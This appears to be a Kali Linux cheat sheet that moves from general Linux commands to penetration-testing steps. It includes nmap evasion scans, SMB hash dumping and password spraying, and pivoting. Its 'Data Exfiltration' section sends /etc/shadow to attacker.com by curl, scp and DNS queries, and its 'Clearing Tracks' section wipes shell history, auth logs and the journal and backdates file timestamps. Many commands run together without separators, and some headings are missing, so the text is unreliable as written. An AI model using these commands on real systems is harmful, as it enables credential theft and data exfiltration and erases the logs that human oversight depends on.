Not for daily use, steep learning curve, legal risk if misused, resource heavy (~20GB+), rolling release can occasionally break.
Kali Editions
Kali Linux (Standard) → Full desktop, all tools
Kali NetHunter → Android mobile pentesting
Kali Linux ARM → Raspberry Pi, Banana Pi
Kali Linux WSL → Windows Subsystem for Linux
Kali Linux Docker → docker pull kalilinux/kali-rolling
Kali Linux Cloud → AWS, Azure, GCP images
Kali Linux Undercover → Looks like Windows 10
Installation & Setup
System Requirements
Minimum: CPU 1GHz, RAM 1GB, Disk 20GB
Recommended: Multi-core 64-bit, RAM 4GB+, SSD 50GB+, Dedicated GPU
Installation Methods
Bare metal, VirtualBox/VMware, Live USB, Persistent USB, WSL2 (wsl --install -d kali-linux), Docker (docker pull kalilinux/kali-rolling)
1. Restart → hold Shift → GRUB menu
2. Advanced options → recovery mode → press E
3. Find "ro" on linux line → change to "rw" → add: init=/bin/bash
4. Ctrl+X to boot
5. passwd root → enter new password
6. exec /sbin/init
Kernel & Architecture
What is the Kernel?
Core OS program with complete hardware control. Manages: processes, memory, device drivers, filesystem, system calls.
Linux kernel → /boot/vmlinuz-<version>
Windows → C:\Windows\System32\ntoskrnl.exe
macOS → /System/Library/Kernels/kernel
Kernel Types
Monolithic (Linux) → all in kernel space, fast, one bug = crash
Microkernel (Minix) → minimal kernel, drivers in user space, stable, slower
Hybrid (Windows/macOS)→ mix of both
Exokernel (research) → minimal, max app control over hardware
Linux Boot Process
Power On → BIOS/UEFI POST → GRUB2 bootloader
→ Kernel decompresses → initramfs (early root fs)
→ systemd (PID 1) starts services → Login prompt
Linux File System Hierarchy (FHS)
/ Root of entire filesystem
├── /bin Essential user binaries (ls, cp, mv, cat)
├── /boot Kernel + bootloader (vmlinuz, grub)
├── /dev Device files (hardware as files)
├── /etc System-wide config files
├── /home User home directories
├── /lib Shared libraries for /bin and /sbin
├── /media Auto-mount removable media (USB, CD)
├── /mnt Manual temporary mount point
├── /opt Optional/third-party software
├── /proc Virtual fs: process & kernel info
├── /root Root user home directory
├── /run Runtime data (PIDs, sockets) — cleared on reboot
├── /sbin System admin binaries (fdisk, iptables)
├── /srv Data served by system (web server files)
├── /sys Virtual fs: hardware/driver info
├── /tmp Temporary files (cleared on reboot)
├── /usr User programs, libraries, docs
│ ├── /usr/bin Most user commands
│ ├── /usr/lib Libraries for /usr/bin
│ └── /usr/share Architecture-independent data
└── /var Variable data (logs, mail, databases)
├── /var/log System and app logs
└── /var/www Web server document root
Linux File Types
- Regular file (text, binary, images, scripts)
d Directory
l Symbolic link (shortcut to another file)
c Character device (keyboard, mouse, terminal)
b Block device (hard drives, USB drives)
s Socket (IPC network communication)
p Named pipe (FIFO) (IPC between processes)
Shell & Terminal
Shell Types
sh Bourne Shell → original Unix shell, /bin/sh
bash Bourne Again → default most Linux distros, $ prompt
zsh Z Shell → default Kali (since 2020), % prompt
fish Friendly Shell → user-friendly, syntax highlighting
csh C Shell → C-like syntax
ksh Korn Shell → combines sh + csh
File & Directory Commands
pwd # print working directoryls / ls -la / ls -lh # list files / detailed / human sizescd /path cd ~ cd .. cd -# navigatetouch file.txt # create file / update timestamptouch file{1..5}.txt # create file1.txt through file5.txtmkdir dirname # create directorymkdir -p a/b/c # create nested directoriescp source dest # copy filecp -r src/ dest/ # copy directory recursivelymv source dest # move or renamerm file.txt # delete filerm -rf dirname/ # delete directory (careful!)ln -s target link # create symbolic linkcat file.txt # print fileless file.txt # paginated view (q to quit)head -n 20 file.txt # first 20 linestail -n 20 file.txt # last 20 linestail -f /var/log/syslog # follow log livefile filename # show file typewc -l file.txt # count linesfind / -name "*.conf" # find by namefind /home -type f -size +1M # files > 1MBlocate filename # fast search (uses db)which python3 # find executable locationwhereis nmap # find binary + man page
File Permissions
Format: -rwxrwxrwx (owner group others)
r=4 w=2 x=1 → 7=rwx 6=rw- 5=r-x 4=r-- 0=---
chmod 755 script.sh # owner:rwx group:r-x others:r-x
chmod 644 file.txt # owner:rw- group:r-- others:r--
chmod 600 id_rsa # owner:rw- only (SSH key)
chmod +x script.sh # add execute for all
chmod u+x script.sh # add execute for owner only
chmod go-w file # remove write from group+others
chown user file.txt # change owner
chown user:group file.txt # change owner and group
chown -R user:group dir/ # recursive
chmod u+s binary # SUID: run as file owner
chmod g+s dir/ # SGID: new files inherit group
chmod +t /tmp # Sticky bit: only owner deletes
Text Editors
nano file.txt # beginner-friendly (Ctrl+O save, Ctrl+X exit)vim file.txt # powerful modal editor# vim modes: Normal(default) Insert(i) Visual(v) Command(:)# :w save :q quit :wq save+quit :q! force quit# dd delete line yy copy line p paste /word search
I/O Redirection & Pipes
command > file.txt # stdout to file (overwrite)command >> file.txt # stdout to file (append)command 2> error.txt # stderr to filecommand 2>&1 # stderr to stdoutcommand &> file.txt # both stdout+stderrcommand < file.txt # file as stdincmd1 | cmd2 # pipe stdout of cmd1 to cmd2ls -la | grep ".sh"cat /etc/passwd | cut -d: -f1 | sortgrep "pattern" file # search patterngrep -r "pattern" dir/ # recursivegrep -i -v -n # case-insensitive / invert / line numberssort / sort -n # alphabetical / numerical sortuniq # remove duplicate adjacent linesawk '{print $1}' file # print first columnsed 's/old/new/g' file # replace all occurrencescut -d: -f1 /etc/passwd# cut field 1 with : delimitertee file.txt # write to file AND stdoutxargs # build commands from stdin
Control Operators
cmd1 ; cmd2 # run both regardlesscmd1 && cmd2 # run cmd2 only if cmd1 succeedscmd1 || cmd2 # run cmd2 only if cmd1 failscmd & # run in backgroundapt update && apt upgrade -yping -c1 google.com || echo "No internet"
Keyboard Shortcuts
Ctrl+A/E → start/end of line
Ctrl+W/U/K → delete word / to start / to end
Ctrl+R → reverse search history
Ctrl+C → cancel command
Ctrl+Z → suspend (fg to resume)
Ctrl+L → clear screen
Tab → autocomplete
!! → repeat last command
!string → repeat last command starting with string
Shell Scripting
#!/bin/bashname="Kali"echo "Hello, $name"read -p "Enter name: " usernameif [ $age -ge 18 ]; then echo "Adult"elif [ $age -ge 13 ]; then echo "Teen"else echo "Child"; fifor i in {1..5}; do echo $i; donewhile [ $count -lt 10 ]; do echo $count; ((count++)); donegreet() { echo "Hello, $1"; }greet "World"command; if [ $? -eq 0 ]; then echo "OK"; else echo "Fail"; fi
Process Management
Viewing & Controlling Processes
ps aux # all running processesps aux | grep nginx # find specific processtop / htop # real-time monitorpgrep nginx # get PID by namepstree # process treekill PID # SIGTERM (graceful)kill -9 PID # SIGKILL (force)killall nginx # kill all by namepkill -f "python" # kill by patterncommand & # start in backgroundCtrl+Z → bg # suspend then backgroundfg # bring to foregroundjobs # list background jobsnohup command & # survive logout
System Information
uname -a # kernel + system infohostname # system hostnamewhoami / id # current user / UID+GIDuptime # system uptimedf -h # disk space usagedu -sh /path # directory sizefree -h # RAM + swap usagelscpu # CPU infolsblk # block deviceslsusb / lspci # USB / PCI devicescat /proc/cpuinfo # detailed CPUcat /proc/meminfo # detailed memorydmidecode # hardware info from BIOS
Systemd & Service Management
systemctl
systemctl start|stop|restart|reload nginxsystemctl enable|disable nginx # boot behaviorsystemctl status nginx # status + recent logssystemctl list-units --type=service --state=runningsystemctl daemon-reload # reload after editing unit files
journalctl — Logs
journalctl -f # follow livejournalctl -u nginx # service logsjournalctl -b # since last bootjournalctl -p err # errors onlyjournalctl --since "1 hour ago"journalctl -n 50 # last 50 linesjournalctl --vacuum-time=7d # delete old logs
Important Log Files
/var/log/auth.log → SSH logins, sudo, authentication
/var/log/syslog → general system messages
/var/log/kern.log → kernel messages
/var/log/dpkg.log → package install history
/var/log/apache2/ → web server logs
/var/log/fail2ban.log → blocked IPs
grep "Failed password" /var/log/auth.log # failed SSH
grep "Accepted" /var/log/auth.log # successful SSH
last # login history
lastb # failed login attempts
lastlog # last login all users
User & Group Management
User Commands
adduser username # interactive (home dir + password)useradd -m -s /bin/bash user # manual (with home + bash)passwd username # set passwordusermod -aG sudo username # add to sudo groupusermod -s /bin/zsh username # change shelluserdel -r username # delete user + home dirsu - username # switch user (load their env)sudo -i # root shellid username # show UID, GID, groupswho / w / last / lastb # login info
groupadd groupname # create groupgroupdel groupname # delete groupusermod -aG group1,group2 user # add to groupsgpasswd -a user group # add user to groupgpasswd -d user group # remove from groupgroups username # show user's groups
kali-linux-core minimal Kali
kali-linux-default default install tools
kali-linux-everything ALL tools (~15GB)
kali-tools-top10 top 10 tools
kali-tools-web web app testing
kali-tools-wireless wireless attacks
kali-tools-passwords password attacks
kali-tools-exploitation exploitation
kali-tools-forensics forensics
kali-tools-reverse-engineering RE tools
kali-tools-sniffing-spoofing sniffing
kali-tools-social-engineering SET etc
Disk & Storage Management
Disk Info & Partitioning
lsblk / lsblk -f # list block devices / with filesystemsfdisk -l # all disks and partitionsdf -h # disk space usagedu -sh /* 2>/dev/null | sort -rh | head -20 # top 20 largest dirsblkid # UUIDs and filesystem typesfdisk /dev/sdb # partition disk (MBR)parted /dev/sdb # partition disk (GPT+MBR)mkfs.ext4 /dev/sdb1 # format as ext4mkfs.vfat /dev/sdb1 # format as FAT32
Mounting
mount /dev/sdb1 /mnt # mount partitionmount -o ro /dev/sdb1 /mnt # read-only (forensics)mount -o loop image.iso /mnt # mount ISOumount /mnt # unmount# Auto-mount: add to /etc/fstab# UUID=xxxx /mnt/data ext4 defaults 0 2
ip a # all interfaces + IPsip route # routing tablehostname -I # all IP addressescat /etc/hosts # local DNScat /etc/resolv.conf # DNS serversss -tulnp # listening ports + processeslsof -i :80 # what uses port 80
NEVER test without written permission. Get signed Rules of Engagement. Stay in scope. Practice on VulnHub, HackTheBox, TryHackMe.
Information Gathering
Nmap
nmap 192.168.1.0/24 # scan subnetnmap -p- host # all 65535 portsnmap -sS host # SYN scan (stealth)nmap -sU host # UDP scannmap -sV host # service versionnmap -O host # OS detectionnmap -A host # aggressive (OS+version+scripts+traceroute)nmap -sC host # default NSE scriptsnmap -T4 host # aggressive timingnmap -oA output host # save all formatsnmap --script=vuln host # vulnerability scriptsnmap --script=smb-vuln* host # SMB vulnsnmap --script=http-enum host # web directory enumnmap -D RND:10 host # decoy scan (evasion)nmap -f host # fragment packets
WHOIS & DNS
whois domain.com # domain registration infodig domain.com ANY # all DNS recordsdig axfr domain.com @ns1.domain.com # zone transferdnsenum domain.com # DNS enumerationdnsrecon -d domain.com # comprehensive DNS reconfierce --domain domain.com # subdomain brute force
OSINT
theHarvester -d domain.com -b all # emails, subdomains, IPs# Maltego: GUI OSINT, maps relationships between people/domains/IPs# Shodan: search engine for internet-connected devices (shodan.io)# Recon-ng: web reconnaissance frameworkrecon-ng # launch recon-ng
Service Enumeration
SMB / Samba
nmap -p 445 --script smb-enum-shares,smb-enum-users targetnmap -p 445 --script smb-vuln* targetsmbclient -L //target -N # list shares (no password)smbclient //target/share -U admin%password # connect with credsenum4linux -a target # full SMB/LDAP enumcrackmapexec smb target -u user -p pass --sharescrackmapexec smb target -u user -p pass --sam # dump SAM hashescrackmapexec smb 192.168.1.0/24 -u user -p pass # spray subnet
ls /usr/share/wordlists/gunzip /usr/share/wordlists/rockyou.txt.gz # 14M passwordscrunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o wordlist.txtcewl http://target.com -w wordlist.txt # scrape site for words
# SSH local port forward (access internal host via pivot)ssh -L 8080:192.168.2.10:80 user@pivot_host# Dynamic SOCKS proxyssh -D 1080 user@pivot_hostproxychains nmap 192.168.2.0/24# Chisel (no SSH needed)# Attacker: chisel server -p 8000 --reverse# Victim: chisel client attacker:8000 R:1080:socks# Metasploit routeroute add 192.168.2.0/24 SESSION_ID
Data Exfiltration
curl -X POST http://attacker.com/upload -F "file=@/etc/shadow"base64 /etc/shadow | curl -d @- http://attacker.com/scp /etc/shadow attacker@attacker.com:/loot/# DNS exfil: encode data in DNS queriescat /etc/passwd | xxd -p | while read l; do dig $l.attacker.com; done
ip link set eth0 downip link set eth0 address 00:11:22:33:44:55ip link set eth0 upmacchanger -r eth0 # random MACmacchanger --permanent eth0 # restore original
Clearing Tracks
history -c && cat /dev/null > ~/.bash_historyunset HISTFILE # disable history this sessioncat /dev/null > /var/log/auth.log # clear auth log (root)sed -i '/192.168.1.100/d' /var/log/auth.log # remove your IPjournalctl --vacuum-time=1s # clear all journal logstouch -t 202001010000 file # change file timestamp